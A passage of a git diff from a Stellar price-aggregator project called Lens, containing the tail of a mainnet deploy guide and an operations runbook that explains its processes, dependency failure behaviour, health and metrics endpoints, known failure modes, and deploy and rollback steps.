(**secret — host env only**) | +| `NETWORK_PASSPHRASE` | `Test SDF Network ; September 2015` | `Public Global Stellar Network ; September 2015` | +| `SOROSWAP_FACTORY_ADDRESS` | `CDP3HMUH6SMS3S7NPGNDJLULCOXXEPSHY4JKUKMBNQMATHDHWXRRJTBY` | `CA4HEQTL2WPEUYKYKCDOHCDNIV4QHNJ7EL4J4NQ6VADP7SYHVRYZ7AW2` | +| `REFLECTOR_CONTRACT_ID` | — (disabled) | — (disabled) — paste an id from [reflector.network](https://reflector.network) to enable | +| `WATCHED_PAIRS` | testnet USDC issuer | mainnet USDC issuer | +| `DATABASE_URL` / `REDIS_URL` | testnet | **separate** mainnet instances | + +## Ordered work + +Every item below is implemented and merged. The issues for #114–#120 are +closed; #113 is still open as a tracking item only — its code shipped +(`config.networks.testnet` / `.mainnet`, `src/config.ts`). The table is kept as +a reference for the dependency order. + +Dependencies: **#113 → #115 → #116 → #117**; #114 before the network selector. + +| # | Issue | Dep | Status | +|---|-------|-----|--------| +| [#113](../../issues/113) | `config.ts` → per-network config map | — | ✅ Code merged (issue still open) | +| [#114](../../issues/114) | `network` discriminator on all models + Redis prefix | — | ✅ Done | +| [#115](../../issues/115) | Per-network Horizon/RPC clients across ingesters | #113 | ✅ Done | +| [#116](../../issues/116) | Per-network Soroswap/Reflector/Aquarius/token-list | #113 | ✅ Done | +| [#117](../../issues/117) | Launch ingesters per network | #113–#116 | ✅ Done | +| [#118](../../issues/118) | Network selector on routes + per-request x402 | #114 | ✅ Done | +| [#119](../../issues/119) | Nightly `pg_dump` backup + [restore runbook](backup-restore.md) | — | ✅ Done | +| [#120](../../issues/120) | Mainnet deploy guide | the rest | ✅ Done | + +## Ops (Render + UptimeRobot + external Postgres) + +- **Compute:** Render free web service kept awake by UptimeRobot pinging + `/status` every 5 min. Note the **750 instance-hours/month** free cap — run + mainnet always-on, testnet on-demand / a second account / a paid instance. +- **Database:** use Neon or another managed Postgres. **Do not** use Render's + free Postgres — it is **deleted after 90 days**. One DB per network. +- **Durability fallback:** nightly `pg_dump` (#119) for fast restore; see + [backup-restore.md](backup-restore.md). Lens is an aggregator, so the DB is + also re-derivable by re-ingesting from chain. diff --git a/docs/RUNBOOK.md b/docs/RUNBOOK.md index 51ec58ff..c9c6b9bf 100644 --- a/docs/RUNBOOK.md +++ b/docs/RUNBOOK.md @@ -1,451 +1,451 @@ -# Operations runbook - -How Lens actually behaves today: what runs, what breaks when it is unavailable, -how to tell, and what to do. **Every claim here is checkable against the code -at this commit** — the defining file or symbol is named next to each one. -Where the system does the wrong thing, this document says so; it does not -describe an aspirational system. - ---- - -## 1. Processes - -### The one process that matters - -Lens runs as a **single Node process** (`npm start` → `node dist/index.js`, -`CMD` in `Dockerfile`). Everything below runs inside it — there is no separate -worker, ingester or scheduler process: - -| Component | What it does | Where | -|---|---|---| -| HTTP API | REST routes, `/graphql` + GraphiQL, webhooks, x402 facilitator, admin/usage routes | `buildApp()` in `src/app.ts`, routes under `src/api/` and `src/routes/` | -| WebSocket server | `graphql-transport-ws` subscriptions on `/graphql`; local fan-out plus cross-instance fan-out over Redis pub/sub | `src/ws/fanout.ts`, `src/ws/` | -| Venue ingesters | One infinite poll loop per (venue × enabled network) for **SDEX**, **Horizon AMM**, **Soroswap**, **Aquarius** | registry `src/ingest/venues/index.ts`, started in `main()` (`src/index.ts`) via `startVenueAdapter` (`src/ingest/venues/runner.ts`) | -| Snapshot ingester | Appends one `price_snapshots` row per active pair at every minute boundary, per network | `src/ingesters/snapshot.ts` | -| BullMQ workers | `aggregate-refresh` (one queue/worker per network), `snapshot-retention` (hourly), `price_points` partition maintenance (hourly) — **in the same process** | `src/jobs/aggregateRefresh.ts`, `src/jobs/snapshotRetention.ts`, `src/jobs/pricePointsPartitionJob.ts` | -| Webhook dispatcher | Threshold alerts, delivered inline after each ingested price write | `src/webhookDispatcher.ts`, `src/alerts/delivery.ts` | -| Schema migration | `prisma migrate deploy` runs **at every boot, before the API listens** — committed migrations only, never a diff of the live schema (#233). On a database that predates the migration history the baseline is recorded as applied first, without running it | `applyMigrations()` in `src/db/migrate.ts`, called from `main()` (`src/index.ts`) — doc: [`docs/database-migrations.md`](database-migrations.md) | -| Middleware | Network selector, API-key auth, per-key/IP rate limits, the per-instance global request ceiling (`GLOBAL_RATE_LIMIT_MAX`, sheds with 503), x402 payment gate, cache policy, HTTP metrics | `src/app.ts` registration order | -| Health probes | `GET /live` (liveness) and `GET /ready` (readiness: boot state + Postgres/Redis), plus `GET /snapshot`, a cached whole-network freshness object | `src/health.ts`, `src/routes/health.ts`, `src/routes/snapshot.ts` — doc: [`docs/health.md`](health.md) | -| Metrics | Prometheus registry exposed on `GET /metrics` | `src/metrics.ts`, route in `src/app.ts` | - -**Startup order and failure behaviour** (all in `main()`, `src/index.ts`): - -1. `applyMigrations()` — `prisma migrate deploy`, preceded by a one-time - `migrate resolve --applied ` when the schema exists without a - `_prisma_migrations` table. Failure throws → `fatal startup error`, exit 1. -2. `redis.connect()` — **soft**: on failure logs `redis unavailable, continuing without cache` and continues. -3. `pgPool.connect()` — **hard**: rejection → `fatal startup error`, exit 1. -4. Load persisted pairs (`loadPersistedPairs()`). -5. `buildApp()` + `app.listen()` — failure (e.g. port in use) → exit 1. -6. `fanOutManager.initialize()` — soft, warn `websocket fan-out init skipped`. -7. Aggregate-refresh worker per enabled network — soft, warn - `aggregate refresh worker skipped (redis unavailable)`. **No fallback is installed for this one.** -8. Snapshot retention: prune once, then schedule hourly — on Redis failure warn - `falling back to an in-process hourly prune` and install an in-process `setInterval`. -9. Price-points partition maintenance: same pattern, same in-process hourly fallback. -10. Ingesters started per network through `restartIngester`: a crash is logged - (`ingester crashed; restarting in 10s`) and restarted after 10 s, isolated - per `(venue, network)` — one dying ingester does not affect the others. -11. `markBootComplete()` — **last**, and only once every ingester above is - running: until that line `GET /ready` answers 503, keeping a starting - instance out of the load balancer (`src/index.ts`, `src/health.ts`). - -### Supporting services (`docker-compose.yml`) - -| Service | Notes | -|---|---| -| `lens` | Port 3002; `healthcheck: curl -f http://localhost:3002/status`, every 10 s, `start_period: 20s` | -| `postgres` | `postgres:15-alpine`, volume `pgdata`, healthcheck `pg_isready` | -| `redis` | `redis:7-alpine`, `--appendonly yes` (AOF persistence), volume `redisdata` | - -### Optional processes (not started by the server) - -`examples/oracle-relay`, `examples/alert-bot`, `examples/mcp-server` (stdio), -and `scripts/*` (smoke, seed, key issuance) are run manually via their npm -scripts. Nothing in `src/index.ts` depends on them. - -### GitHub Actions - -| Workflow | Trigger | What it does | -|---|---|---| -| `ci.yml` | every PR and push to `main` | `npm ci` → `prisma generate` → `tsc --noEmit` → `npm run build` → `npm test` | -| `release.yml` | push to `main` | changesets: version PR or tag (tag-only release, no npm publish) | -| `openapi-publish.yml` | push to `main` | regenerates `openapi.json`, publishes to `gh-pages` | -| `db-backup.yml` | daily 03:00 UTC | `pg_dump` per network, age-encrypted, 14-day artifact (see §5) | -| `load.yml` | daily 04:00 UTC | k6 load test, p95 < 80 ms @ 5k RPS — **currently red on `main`, see §6** | - ---- - -## 2. External dependencies and what degrades without them - -### PostgreSQL — `DATABASE_URL` - -**Used for:** everything durable — `price_points`, `price_snapshots`, -`pool_snapshots`, `price_aggregates`, `indexer_state`, pairs, webhooks, -API keys/usage. It is the source of truth; Redis is only a cache -("Redis is a cache and a job broker, not a source of truth" — comment in `src/index.ts`). - -| | Behaviour | -|---|---| -| Down at **boot** | `pgPool.connect()` rejects → `fatal startup error` → **process exits 1**. Nothing serves. | -| Down at **runtime** | Queries throw → affected routes return 5xx. `/status` itself queries the DB, so it fails too. | -| Where you see it | `GET /status` refused/500 **and `GET /ready` → 503 with `checks.postgres.status: "down"`** (the probe also asserts the schema exists via `to_regclass('public.indexer_state')`, so a reachable-but-unmigrated database reports not-ready too); `GET /metrics` → `http_requests_total{status_class="5xx"}` rising, `db_query_duration_seconds` tail; pino error logs. | -| Recovery | Restore the nightly dump (`docs/backup-restore.md`, produced by `db-backup.yml`), or re-ingest from chain — Lens data is re-derivable by ingesting again (`docs/DEPLOY_MAINNET.md`). | - -### Redis — `REDIS_URL` - -**Used for:** the price cache (`getCachedPrice`/`setCachedPrice`, TTL -`PRICE_CACHE_TTL`, default 10 s), BullMQ queues/workers, cross-instance -WebSocket pub/sub. - -| | Behaviour | -|---|---| -| Down at **boot** | Soft: `redis unavailable, continuing without cache`. The API still serves — **every cache read falls back to Postgres** (`getCachedPrice` catches and returns `null`), writes are best-effort (swallowed). Per-worker effects: **aggregate refresh is skipped with no fallback**; retention and partition maintenance fall back to hourly in-process timers; ws cross-instance fan-out is skipped. | -| Down at **runtime** | The client rejects commands immediately (`enableOfflineQueue: false`, `src/redis.ts` — no request hangs waiting for a connection), reconnects with backoff capped at 60 s, and logs at most **one `redis connection error` per minute**. Reads keep falling back to Postgres. BullMQ's own connections (separate ioredis instances) log `[ioredis] Unhandled error event` while away and pause the queue-driven jobs. | -| What breaks concretely | • No cache: every `/price` request recomputes from Postgres — correct, just slower.
• **`price_aggregates` freeze** if the aggregate-refresh worker is not running (skipped at boot, or paused while BullMQ cannot reach Redis). Consumers: `/price/:assetA/:assetB/history`, `/screener`, and the GraphQL aggregate queries — their buckets stop advancing while `/price/:assetA/:assetB` keeps serving live values (it computes VWAP from `price_points` on a cache miss — `getAggregatedPrice`, `src/aggregator/vwap.ts`).
• Multi-instance WebSocket fan-out stops: clients still receive events published by *their own* instance (the local `priceEmitter` subscription always works — `src/ws/fanout.ts`), but not events from other instances.
• **Readiness fails**: `GET /ready` PINGs Redis and reports `down` (503) while Redis is away — the instance leaves rotation even though reads still work from Postgres (`READINESS_REDIS_CHECK=false` excludes Redis from readiness). | -| Where you see it | `X-Cache: MISS` on every `/price` response (`src/api/rest.ts`); `/screener` and `/price/.../history` stop moving; `aggregate refresh worker skipped (redis unavailable)` / `redis connection error` in logs; `GET /ready` → 503 with `checks.redis.status: "down"`; `ws_messages_sent_total` low on one instance while ingestion metrics are healthy. **`GET /metrics` has no Redis gauge** — the cache signal is the `X-Cache` response header, the readiness signal is `/ready`. | -| Note on #345 | The issue title says Redis is "noticed once and never again"; today's code reconnects forever with capped backoff and throttled logging (`src/redis.ts`). The genuinely unfixed part is the **missing aggregate-refresh fallback** (see §4). | - -### Stellar Horizon — `HORIZON_URL` / `HORIZON_URL_` - -**Used for:** SDEX trade ingestion and Horizon AMM snapshots. - -| | Behaviour | -|---|---| -| Down / rate-limited | No 429-specific handling anywhere in the ingest path (#348). SDEX fetch failures are caught inside `fetchSdexTrades` (`src/ingest/venues/sdex.ts`), logged as `error fetching trades`, and the cycle continues having ingested nothing. Failures that escape an adapter fail the cycle and trigger exponential backoff 10 s → 60 s cap: `venue adapter cycle failed; retrying` (`src/ingest/venues/runner.ts`). | -| Where you see it | `GET /status` → `ingestLagSeconds` grows; `GET /metrics` → `trades_ingested_total` flat, `time() - last_trade_timestamp` growing (staleness alert recipe: `docs/ingest-metrics.md`). | -| Recovery | Automatic: backoff retries forever; ingestion resumes from the persisted cursor in `indexer_state` (`setIndexerCursor`), so no trades are skipped once Horizon recovers — only the outage window is missing. | - -### Soroban RPC, Soroswap factory, Aquarius API — `RPC_URL*`, `SOROSWAP_FACTORY_ADDRESS*`, `AQUARIUS_*` - -**Used for:** AMM pool reserves/snapshots (Soroswap), Aquarius pool discovery, -Reflector oracle reads (on demand, not a background loop). - -| | Behaviour | -|---|---| -| Bad/missing config | `config.ts` warns naming the env var and disables the feature; the adapter logs `venue adapter is disabled — ingester not started` and returns. | -| Down at runtime | Cycle failures back off like above. Aquarius is quieter: `if (!res.ok) return []` (`src/ingest/venues/aquarius.ts`) — **a failing API returns empty results with no error**. | -| Where you see it | `GET /metrics` → `amm_snapshots_total` flat; `/pools` pool `timestamp` goes stale; the `ammPrice` half of `/price/:assetA/:assetB` stops updating while `sdexPrice` keeps moving. | - -### x402 facilitator — `X402_FACILITATOR_URL` (default `https://x402.org/facilitator`) - -**Used for:** verifying payments on the gated routes (`/price`, `/pools`, -`/candles` — `GATED_ROUTES` in `src/middleware/x402.ts`). Only active when -`ORACLE_PAYMENT_ADDRESS` is set; otherwise the plugin logs -`[oracle] ORACLE_PAYMENT_ADDRESS not set — x402 gating disabled` and the gated -routes are **free**. - -| | Behaviour | -|---|---| -| Unreachable / verify throws | Caught in the preHandler → **402** `{error: "Payment verification failed", reason: ...}` (fails closed). | -| Settle fails | Settlement is async after the response is sent; failure is only logged `[oracle] x402 settle error` — the request was already served. | -| Where you see it | Paying clients suddenly receive 402s; `GET /metrics` → `x402_payments_received_total` stops incrementing; `webhook`-style pino logs from the `oracle` logger. | - -### Subscriber webhook endpoints (outbound HTTP) - -**Used for:** threshold alerts registered via `POST /webhooks`. - -| | Behaviour | -|---|---| -| Failing subscriber | 10 s timeout, **3 attempts** with delays 1 s, 2 s (`retryDelayMs`, `src/alerts/delivery.ts`), **no jitter** (#341). A 4xx stops immediately; final failure is only logged `webhook delivery failed after retries`. Nothing is persisted or re-queued — **the event is gone** (#342). | -| Where you see it | The `webhook` pino logger only. **`GET /metrics` exports no webhook series at all** — silence on `/metrics` does not mean delivery worked. | - -### Keep-alive monitor (production on Render free tier) - -`docs/DEPLOY_MAINNET.md`: Render free services sleep after ~15 min idle, so an -UptimeRobot monitor pings `GET /status` every 5 minutes. - -| | Behaviour | -|---|---| -| Monitor stops / misconfigured | The service sleeps → `GET /status` connection refused **and ingestion sleeps with it** — staleness follows. | -| Where you see it | `/status` refused while nothing else is wrong; UptimeRobot's own alerting. | - -### Environment variables - -There is **no central env validation** (#338): `WATCHED_PAIRS` format throws at -startup (`parseWatchedPairs`, `src/config.ts` → fatal exit 1), everything else -is read directly from `process.env` at first use. Common misconfigurations and -their exact symptoms: - -| Misconfiguration | Symptom | Signal | -|---|---|---| -| Bad `DATABASE_URL` | Process never starts | log `fatal startup error`, exit 1 | -| Bad `REDIS_URL` | Runs, uncached | boot warn `redis unavailable, continuing without cache`; `X-Cache: MISS` forever on `/price` | -| `ORACLE_PAYMENT_ADDRESS` unset | Payment gating silently off — **gated data served free** | log `x402 gating disabled`; no 402s from `/price` | -| `ADMIN_TOKEN` unset | Admin surface unusable (by design) | every `POST/DELETE /admin/keys` and `/admin/usage*` → **401** `code: admin_unauthorized` (`isAdminAuthorized`, `src/api/auth.ts`), counted in `admin_auth_failures_total` on `GET /metrics` | -| `REQUIRE_API_KEY=false` | API-key auth off entirely | log `[auth] REQUIRE_API_KEY=false — API key authentication disabled` | -| `GLOBAL_RATE_LIMIT_MAX` invalid (not a positive integer) | Process never starts | `buildApp` throws → `fatal startup error`, exit 1. Default ceiling when unset: 1000 req/min per instance, with expensive route templates shed at 80% and health probes exempt (`src/middleware/globalRateLimit.ts`) | -| `READINESS_REDIS_CHECK=false` | Redis dropped from readiness | `GET /ready` no longer fails when Redis is down | -| Bad `WATCHED_PAIRS` | Process never starts | log `fatal startup error` with the parse error, exit 1 | - ---- - -## 3. Telling whether ingestion is healthy - -### `GET /status` — liveness + lag, per network - -Public (no API key), rate-limit exempt — `/status`, `/live` and `/ready` are -the `PROBE_PATHS` allow-list in `src/app.ts`, and all three are excluded from -`http_requests_total` so probes neither throttle nor pollute the traffic -metrics. -Answers for one network: pass `?network=mainnet` or the `x-network` header. - -```json -{ - "ok": true, - "network": "testnet", - "watchedPairs": ["XLM:native/USDC:GBBD47..."], - "lastIndexedLedger": 53842917, - "lastProcessedAt": "2026-10-19T12:00:00.000Z", - "ingestLagSeconds": 4 -} -``` - -Read it honestly (implementation: `GET /status` handler, `src/api/rest.ts`): - -- **`ok: true` only means the DB query worked.** The handler returns `ok: true` - unconditionally — it does **not** assert freshness. -- **`ingestLagSeconds`** = seconds since the most recent `indexer_state` write - for that network. It is `null` until the first write; `lastIndexedLedger` is - `null` until the SDEX ingester has recorded a ledger. -- **Caveat, checkable in code:** only the **SDEX and AMM** ingesters write - `indexer_state` (`setIndexerCursor` in `src/ingest/venues/sdex.ts` and - `src/ingest/venues/amm.ts`), and only when a cycle actually ingested - records — a network with no trades in the window shows a growing lag **even - when everything is healthy**. Cross-check `/metrics` (below) before treating - lag alone as an incident. The 1-minute snapshot ingester is a separate loop - and never touches `indexer_state`. -- The compose healthcheck (`docker-compose.yml`) and the Render keep-alive - monitor both poll this endpoint. - -### `GET /live` and `GET /ready` — the platform probes - -Both public, rate-limit exempt, and excluded from `http_requests_total`; -rationale and semantics live in [`docs/health.md`](health.md). - -- **`GET /live`** — `200 {ok, uptimeSeconds}` as long as the event loop is - turning; it touches neither Postgres nor Redis. That is deliberate: a - liveness probe that fails during a dependency outage would have the - orchestrator restart every healthy instance at once. -- **`GET /ready`** — `200` only after **boot completes** (`markBootComplete()` - is the last line of `main()`) **and** every checked dependency is up; - otherwise `503` carrying `booted`, `checks.postgres`, `checks.redis` and - `checkedAt`. Postgres is probed for reachability *and* migration state - (`to_regclass('public.indexer_state')`), Redis with `PING` (2 s probe - deadline, 2 s answer cache — `READINESS_TIMEOUT_MS` / `READINESS_CACHE_MS`; - `READINESS_REDIS_CHECK=false` drops Redis from readiness). Reasons in the - body are fixed phrases, never raw errors — the endpoint is public; the real - error is logged instead. - -### `GET /snapshot` — one-shot freshness view - -`GET /snapshot?network=…` returns the whole network's shape — venues, TVL, 24h -volume, top pairs, peg readings and data freshness — in one cached, timestamped -object (`src/routes/snapshot.ts`, cached in Redis via `getCachedSnapshot`). - -### `GET /metrics` — the freshness and error signals - -Public Prometheus exposition (`src/metrics.ts`, route in `src/app.ts`). - -**Ingestion health:** - -| Signal | Meaning / recipe | -|---|---| -| `rate(trades_ingested_total{network}[5m])` | Flat = SDEX/AMM ingestion stopped for those pairs | -| `time() - last_trade_timestamp{pair,network}` | Per-pair staleness — the canonical alert; worked example in `docs/ingest-metrics.md` (labels are `pair × network`, bounded by config) | -| `rate(amm_snapshots_total{network}[5m])` | AMM venue snapshots; flat = Soroswap/Aquarius/Horizon-AMM side stalled | -| `rate(price_snapshots_total{network}[5m])` | Snapshot ingester; healthy ≈ (active pairs) rows/min per network | -| `ws_clients_total`, `ws_messages_sent_total`, `ws_messages_dropped_total`, `ws_clients_dropped_total`, `ws_buffered_bytes` | Subscriber count, delivery rate, backpressure drops, clients killed and in-memory buffer depth (labels are bounded: `pair` is the literal key, `other`, or aggregate — see `docs/websocket-backpressure.md`) | - -**API health:** - -| Signal | Meaning | -|---|---| -| `http_requests_total{method,route,status_class}` | Rate and 5xx ratio; `route` is the route *template*, `status_class` is `2xx/4xx/5xx` — both deliberately bounded | -| `http_request_duration_seconds` | Latency histogram with Lens-specific buckets (5 ms … 10 s); p95 recipe in `README.md` and `docs/http-metrics.md` | -| `db_query_duration_seconds` | Postgres query latency (includes pool wait — the timer wraps `pgPool.query`) | -| `api_key_auth_failures_total{reason}`, `admin_auth_failures_total` | Auth failures by bounded reason (`missing`/`malformed`/`unknown`/`revoked`/`expired`; admin counted separately) | -| `rate_limit_rejections_total{scope}`, `global_shed_requests_total` | Per-key/IP limiter 429s (`key`/`ip`) and per-instance ceiling sheds (503) | -| `x402_payments_received_total`, `price_requests_total` | Payment/request counters | - -**Known blind spots:** no gauge for Redis state, no gauge for the pg pool -(see #339 in §4), no queue-lag metric, no webhook-delivery metric. - -### Triage sequence - -1. **Is the process answering?** `curl -s localhost:3002/live`, then `/ready`: - - *`/live` connection refused / sleeping* → process dead or host asleep (see §5 deploys, §2 keep-alive). - - *`/live` 200 but `/ready` 503* → boot not finished, or a checked dependency is down — the `checks` body says which (Postgres down/unmigrated, Redis down; §2). - - *`/status` 500 / refused* → PostgreSQL (§2). -2. **Is data fresh?** `ingestLagSeconds` + `time() - last_trade_timestamp` (§3 caveat above). -3. **Which layer?** grep the pino logs for the exact lines named in this - document: `fatal startup error`, `error fetching trades`, - `venue adapter cycle failed; retrying`, `ingester crashed; restarting in 10s`, - `redis connection error`, `aggregate refresh worker skipped`, - `webhook delivery failed after retries`, `[oracle] x402 settle error`. -4. **Is it only the aggregates/cache?** `/price/:assetA/:assetB` fresh but `/screener` or - `/price/.../history` frozen → aggregate-refresh worker / Redis (§2). -5. **Full deployed check:** `SMOKE_MAX_AGE_SECONDS=120 npm run smoke -- https://` - (`scripts/deployed-smoke.mjs`) — asserts `/ready` + `/live` (it fails hard if - `/ready` 404s or reports `ok: false`), then `/status`, `/price`, and a live - `graphql-transport-ws` subscription. On an x402-gated installation an - unauthenticated `/price` call returns 402 and the smoke check **fails by - design**; it never bypasses payment (README). - ---- - -## 4. Known failure modes in this batch - -Each row states what the code does **today**, not what it should do, and names -the endpoint, metric, or log line that shows it. Issue numbers are the open -tracking issues for the batch this runbook was filed in. - -| # | Failure mode | What happens today (code) | Where you see it | -|---|---|---|---| -| 1 | **Unhandled rejection kills the process** (#344) | There is **no** `unhandledRejection`/`uncaughtException` handler anywhere in `src/`; Node's default is to exit — with no application log line for the cause. | Process gone: `GET /status` connection refused, compose healthcheck fails, `http_requests_total` flatlines while the container restarts. The cause is only inferable from the last log line before the exit. | -| 2 | **Shutdown is not graceful** (#347) | There is **no** `SIGTERM`/`SIGINT` handler anywhere in `src/`; the process exits immediately. In-flight requests are cut and WebSocket clients are dropped **without a close frame**. | During any deploy/restart: WS clients see an abnormal closure (no `1000/1001` close frame), `ws_clients_total` disappears, `http_requests_total` stops mid-request. | -| 3 | **Horizon rate limiting is not handled** (#348) | No 429 branch exists in the ingest path. SDEX 429s surface as a caught error → log `error fetching trades` → `null`, and the loop retries on the normal poll interval without backoff or accounting. | `GET /status` `ingestLagSeconds` grows; `GET /metrics` `trades_ingested_total` flat + stale `last_trade_timestamp`; repeating `error fetching trades` or `venue adapter cycle failed; retrying` in the logs. | -| 4 | **A single ingester cycle has no deadline** (#351) | `startVenueAdapter` runs `while (true)` and awaits every watched pair **sequentially** with no cycle-level timeout (`src/ingest/venues/runner.ts`); there is no per-cycle upper bound. | The whole network's ingestion quietly spreads/stalls: `last_trade_timestamp` ages and `/status.ingestLagSeconds` grows **while no `venue adapter cycle failed` line appears** — no error, just lag. | -| 5 | **Webhook retries have no jitter** (#341) | Delay is exactly `2^(attempt-1) × 1000` ms (`retryDelayMs`, `src/alerts/delivery.ts`) — subscribers triggered together retry together. | Bursts of `webhook delivery failed after retries` (logger `webhook`) arriving in lockstep after any upstream blip; `GET /metrics` has **no** webhook series to graph this. | -| 6 | **A webhook that fails 3 times disappears** (#342) | After 3 attempts (or any 4xx on the first) the failure is logged and dropped — no persistence, no queue, no dead-letter. | The subscriber silently never receives the threshold event; the only trace is the `webhook` log line. Nothing on `/metrics` moves. | -| 7 | **DB pool is default-sized and unmeasured** (#339) | `new Pool({connectionString})` with pg defaults (max 10 connections); instrumentation is only the `db_query_duration_seconds` histogram — no pool gauge exists (`src/db.ts`, `src/metrics.ts`). | Under saturation both `db_query_duration_seconds` and `http_request_duration_seconds` shift right together (the timer includes pool wait); `GET /metrics` offers **no waiter/pool gauge** to confirm it. | -| 8 | **Env vars are not centrally validated** (#338) | Only `WATCHED_PAIRS` parsing throws at startup; every other variable is consumed lazily at first use. | Misconfiguration surfaces at first use — see the symptom table in §2 (bad `REDIS_URL` → `X-Cache: MISS` forever; unset `ORACLE_PAYMENT_ADDRESS` → gating silently off; unset `ADMIN_TOKEN` → admin routes always 401). | -| 9 | **Redis away at boot: aggregate refresh has no fallback** (the unfixed half of #345) | Retention and partition maintenance fall back to hourly in-process timers when their BullMQ schedule fails at boot; the **aggregate-refresh worker does not** — it is skipped and never retried for the life of the process (`src/index.ts`). | `aggregate refresh worker skipped (redis unavailable)` at boot, then: `/screener` and `/price/:assetA/:assetB/history` (and GraphQL aggregate queries) freeze while `/price/:assetA/:assetB` keeps serving live prices from `price_points`. | - ---- - -## 5. Deploy, rollback, and what a deploy interrupts - -### How a deploy happens - -- **Production** (`docs/DEPLOY_MAINNET.md`): Render web service built from this - repo/image, env vars in the Render dashboard only, Neon Postgres, managed - Redis, UptimeRobot keep-alive on `/status`. -- **Self-hosted / local**: `docker compose up -d --build` (image built by the - multi-stage `Dockerfile`, `CMD npm start`). -- In both cases the boot sequence in §1 applies — **including the automatic - `prisma migrate deploy`**. - -### What a deploy interrupts - -1. **The schema changes to whatever the committed migrations say.** Step 1 of - boot runs `prisma migrate deploy` (`src/db/migrate.ts`) before the API - listens. Unlike the `db push` it replaced, it applies only migrations that - are in `prisma/migrations` and that a reviewer read — so a destructive change - reaches production because someone merged the SQL, not because a diff decided - it. It is still the one irreversible part of any deploy: read the pending - migrations before deploying, and take the backup path (rollback step 3) first - if any of them drops a column or a table. - - The corollary of dropping `db push` is that drift is no longer self-healing. - A column present in `schema.prisma` but missing from the live database is - **not** added at boot any more — `migrate deploy` has nothing pending to - apply, and `assertSchemaValid()` only covers the five core tables in - `EXPECTED_SCHEMA`. Fix it with a committed migration; see the one-time check - in [`docs/database-migrations.md`](database-migrations.md). -2. **The API is down until `listen` returns, and not *ready* until boot ends.** - Single instance ⇒ no rolling deploy; compose allows 20 s (`start_period`) - before healthchecks fail. `GET /ready` stays 503 from process start until - `markBootComplete()` — gate rollouts on `/ready`; `/live` alone only proves - the event loop turns. -3. **No graceful shutdown** (#347, §4): in-flight requests are cut and WS - clients are dropped without a close frame. -4. **Ingestion pauses for the restart, then resumes from persisted cursors.** - Cursor state lives in `indexer_state`, writes are idempotent - (`skipDuplicates` in `upsertPricePoints`, `ON CONFLICT DO NOTHING` on - snapshots), so replay after restart is safe; the gap is the trades that - happened while the process was down (visible as missing `price_points` for - that window and a lag spike in `/status`). -5. **In-memory state is lost:** rate-limit windows (429 counters reset), WS - client list, the ingesters' last-price map (the webhook previous-price - baseline restarts, so the first post-restart tick compares against itself). - Redis, being external, keeps the price cache warm across a deploy. -6. **Maintenance jobs re-run safely.** Prune and partition maintenance run once - at boot regardless, the hourly schedules are re-registered, and BullMQ jobs - are at-least-once — safe here because every job is an upsert/prune. - -### How to roll back - -1. **App code:** redeploy the previous known-good revision — - Render: roll back to the previous deploy in the dashboard; - self-hosted: `git checkout && docker compose up -d --build`. -2. **Schema:** migrations are forward-only — Prisma generates no down-migration - — so rolling back the code does not roll back the schema. Roll *forward*: - commit a migration that reverses the change and deploy it - (`npm run db:deploy`). Do **not** reach for `prisma db push` from the old - checkout: it is gone from `package.json` for a reason, and a push against a - database that now has migration history leaves the two disagreeing. If the - previous revision cannot run against the new schema, the honest options are a - reversing migration or a restore from the dump — **take the backup path - (step 3) first** if either direction removes data. -3. **Data (if a bad deploy or its auto-migration destroyed rows):** restore the - nightly dump per [`docs/backup-restore.md`](backup-restore.md) — dumps are - produced daily at 03:00 UTC by `.github/workflows/db-backup.yml`, - age-encrypted, 14-day retention. Alternatively re-ingest: Lens data is - re-derivable from chain (`docs/DEPLOY_MAINNET.md`), bounded only by how far - back the cursors point. -4. **Config:** env vars live in the host (Render dashboard / `.env`), not in - the repo. Keep the previous env set alongside the previous image — a code - rollback with the new env is only half a rollback. -5. **Verify the rollback:** - ```bash - curl -s https:///ready # 200 {"ok":true,...} - curl -s https:///status # ok:true, lag small - curl -s -o /dev/null -w '%{http_code}\n' https:///price/XLM/USDC - # 200 (ungated) or 402 (x402-gated) — not 5xx - curl -s https:///metrics | grep -E 'trades_ingested_total|last_trade_timestamp' - SMOKE_MAX_AGE_SECONDS=120 npm run smoke -- https:// - ``` - ---- - -## 6. CI status on `main` - -The PR gate is `.github/workflows/ci.yml`; run it locally before opening a PR -(identical to CONTRIBUTING's "Before opening a PR"): - -```bash -npm ci -node node_modules/prisma/build/index.js generate -npx tsc --noEmit -npm run build -npm test --if-present -``` - -**`Load test (prices)` is failing on `main` and is a known, unrelated red.** -It runs daily at 04:00 UTC (`load.yml`, k6 threshold p95 < 80 ms @ 5k RPS) and -has been failing continuously — it is **not** your change that broke it. Every -other check (CI build/typecheck/tests, release, OpenAPI publish, nightly -backup) should be green; treat those as the gate. - ---- - -## Quick reference - -```bash -# Health -curl -s localhost:3002/ready | jq # readiness: boot + dependencies -curl -s localhost:3002/live | jq # liveness: event loop only -curl -s localhost:3002/status | jq # ingestion lag -curl -s localhost:3002/status?network=mainnet # the other network -curl -s localhost:3002/metrics | grep -E 'trades_ingested_total|last_trade_timestamp' - -# Logs & restart (compose) -docker compose logs -f lens | grep -E 'fatal|failed|crashed|redis' -docker compose restart lens - -# Deployed smoke check (see README for the x402 caveat) -SMOKE_MAX_AGE_SECONDS=120 npm run smoke -- https:// - -# Tests -npm test # full vitest suite -npx vitest run src/__tests__/status.test.ts # one file -``` - -Related docs: [`architecture.md`](architecture.md) · -[`http-metrics.md`](http-metrics.md) (label reference, alert rules) · -[`ingest-metrics.md`](ingest-metrics.md) (staleness alert, cardinality) · -[`backup-restore.md`](backup-restore.md) (nightly dump, restore) · -[`DEPLOY_MAINNET.md`](DEPLOY_MAINNET.md) (Render/Neon production shape) · -[`DUAL_NETWORK.md`](DUAL_NETWORK.md) (testnet + mainnet side-by-side) +# Operations runbook + +How Lens actually behaves today: what runs, what breaks when it is unavailable, +how to tell, and what to do. **Every claim here is checkable against the code +at this commit** — the defining file or symbol is named next to each one. +Where the system does the wrong thing, this document says so; it does not +describe an aspirational system. + +--- + +## 1. Processes + +### The one process that matters + +Lens runs as a **single Node process** (`npm start` → `node dist/index.js`, +`CMD` in `Dockerfile`). Everything below runs inside it — there is no separate +worker, ingester or scheduler process: + +| Component | What it does | Where | +|---|---|---| +| HTTP API | REST routes, `/graphql` + GraphiQL, webhooks, x402 facilitator, admin/usage routes | `buildApp()` in `src/app.ts`, routes under `src/api/` and `src/routes/` | +| WebSocket server | `graphql-transport-ws` subscriptions on `/graphql`; local fan-out plus cross-instance fan-out over Redis pub/sub | `src/ws/fanout.ts`, 